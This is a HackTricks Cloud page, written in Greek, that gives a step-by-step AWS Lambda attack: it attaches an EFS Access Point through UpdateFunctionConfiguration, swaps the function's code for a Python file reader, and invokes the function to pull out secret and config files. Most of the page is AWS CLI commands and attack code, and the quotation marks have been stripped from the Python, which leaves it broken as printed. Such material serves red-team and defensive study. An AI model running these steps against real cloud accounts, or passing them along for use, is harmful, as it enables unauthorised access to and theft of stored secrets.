AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Κλοπή Δεδομένων)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Καταχραστείτε το lambda:UpdateFunctionConfiguration για να επισυνάψετε ένα υπάρχον EFS Access Point σε ένα Lambda, και στη συνέχεια αναπτύξτε απλό κώδικα που απαριθμεί/διαβάζει αρχεία από την προσαρτημένη διαδρομή για να εξάγετε κοινά secrets/config που η function προηγουμένως δεν μπορούσε να προσπελάσει.
Απαιτήσεις
- Δικαιώματα στον λογαριασμό/principal του θύματος:
lambda:GetFunctionConfigurationlambda:ListFunctions(to find functions)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(to confirm mount targets exist)- Υποθέσεις περιβάλλοντος:
- Το Target Lambda είναι VPC-enabled και τα subnets/SGs του μπορούν να φτάσουν το EFS mount target SG μέσω TCP/2049 (π.χ. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- Το EFS Access Point βρίσκεται στο ίδιο VPC και έχει mount targets στις AZs των Lambda subnets.
Επίθεση
- Μεταβλητές
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- Συνδέστε το EFS Access Point στη Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Επαναγράψτε τον κώδικα με έναν απλό αναγνώστη που απαριθμεί αρχεία και προεπισκοπεί τα πρώτα 200 bytes ενός υποψήφιου αρχείου μυστικού/διαμόρφωσης
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Εκτέλεση και λήψη των δεδομένων
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
Η έξοδος πρέπει να περιλαμβάνει την καταχώριση του καταλόγου κάτω από /mnt/ht και μια μικρή προεπισκόπηση ενός επιλεγμένου secret/config αρχείου από EFS.
Επιπτώσεις
Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα μπορεί να προσαρτήσει αυθαίρετα in‑VPC EFS Access Points σε θύματα Lambda functions, ώστε να διαβάσει και να exfiltrate κοινές ρυθμίσεις και μυστικά που είναι αποθηκευμένα στο EFS και που προηγουμένως ήταν μη προσβάσιμα σε αυτήν τη function.
Καθαρισμός
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

